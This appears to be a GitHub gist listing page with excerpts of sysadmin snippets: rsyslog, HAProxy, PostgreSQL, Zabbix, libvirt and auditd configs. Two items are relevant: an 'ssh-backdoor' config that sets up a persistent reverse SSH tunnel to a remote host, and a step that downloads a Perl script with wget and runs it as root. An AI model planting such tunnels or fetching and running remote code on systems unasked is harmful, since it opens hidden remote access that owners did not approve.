echo "\$ModLoad imudp" > /etc/rsyslog.d/server.conf
echo "\$UDPServerRun 514" >> /etc/rsyslog.d/server.conf
echo "\$ModLoad imtcp" >> /etc/rsyslog.d/server.conf
echo "\$InputTCPServerRun 514" >> /etc/rsyslog.d/server.conf
echo "\$PreserveFQDN on" >> /etc/rsyslog.d/server.conf
yum -y install rsyslog-gnutls rsyslog-mysql rsyslog-crypto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| database='database' | |
| user='user' | |
| pass='pass' | |
| charset='utf8mb4' | |
| collate='utf8mb4_unicode_ci' | |
| echo "Changing charset of database: $database" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # Yury V. Zaytsev <[email protected]> (C) 2011 | |
| # | |
| # This work is herewith placed in public domain. | |
| # | |
| # Use this script to cleanly restart the default libvirt network after its | |
| # definition have been changed (e.g. added new static MAC+IP mappings) in order | |
| # for the changes to take effect. Restarting the network alone, however, causes | |
| # the guests to lose connectivity with the host until their network interfaces |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # /etc/ssh-backdoor/ssh-backdoor.conf | |
| REMOTE_BINDPORT=12345 | |
| [email protected] | |
| REMOTE_PORT=22 | |
| LOCAL_HOST=localhost | |
| LOCAL_PORT=22 | |
| SSH_KEY=/etc/ssh-backdoor/ssh-backdoor.key |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # IMPORTANT! | |
| # This gist has been transformed into a github repo | |
| # You can find the most recent version there: | |
| # https://github.com/Neo23x0/auditd | |
| # ___ ___ __ __ | |
| # / | __ ______/ (_) /_____/ / | |
| # / /| |/ / / / __ / / __/ __ / | |
| # / ___ / /_/ / /_/ / / /_/ /_/ / | |
| # /_/ |_\__,_/\__,_/_/\__/\__,_/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Sample haproxy postgresql master check | |
| # | |
| # haproxy listen: 5431 | |
| # pg, instance #1 listen: 5432 (master node) | |
| # pg, instance #2 listen: 5433 (replica node) | |
| # external failover, promoting replica to master in case of failure | |
| # passwordless auth for user web | |
| # template1 database is accessible by user web | |
| # | |
| # haproxy will pass connection to postgresql master node: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # This Script creates the following files to be used for | |
| # Zabbix SNMP and SNMP trap integration: | |
| # | |
| # /etc/snmp/snmp.conf | |
| # /etc/snmp/snmptt.conf.VENDOR | |
| # Symlink vendor specific MIB files from | |
| # $MIBS_VENDORS to $MIBS | |
| # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| global | |
| maxconn 2000 | |
| stats socket /tmp/haproxy.socket level admin | |
| uid 80 | |
| gid 80 | |
| nbproc 1 | |
| chroot /tmp/haproxy_chroot | |
| daemon | |
| tune.ssl.default-dh-param 2048 | |
| # Modern browser compatibility only as mentioned here: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| prestashop - 500 error | |
| =================== | |
| https://www.prestashop.com/forums/topic/421126-request-exceeded-the-limit-of-10-internal-redirects-due-to-probable-configuration-error/ | |
| =================== | |
| CloudFlare installation: | |
| ========== | |
| http://www.cpanelkb.net/cloudflare-plugin-install/ | |
| http://crybit.com/install-cloudflare-plugin-on-cpanel/ | |
| http://stackoverflow.com/questions/23860877/how-to-install-cloudflare-on-cpanel-servers |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| You may need to monitor server with the help of your server administrator and check domain access logs at the time of load spike to analyze further. | |
| You can try this system monitoring script which records detailed logs of resource usage and process activity. Please use the following commands to install: | |
| wget -O /root/sys-snap.pl https://raw.githubusercontent.com/cPanelTechs/SysSnapv2/master/sys-snap.pl | |
| cd /root/ && chmod 744 sys-snap.pl && perl sys-snap.pl --start | |
| The script connects data from the following places: | |
| /proc/loadavg | |
| /proc/meminfo | |
| vmstat 1 10 |
OlderNewer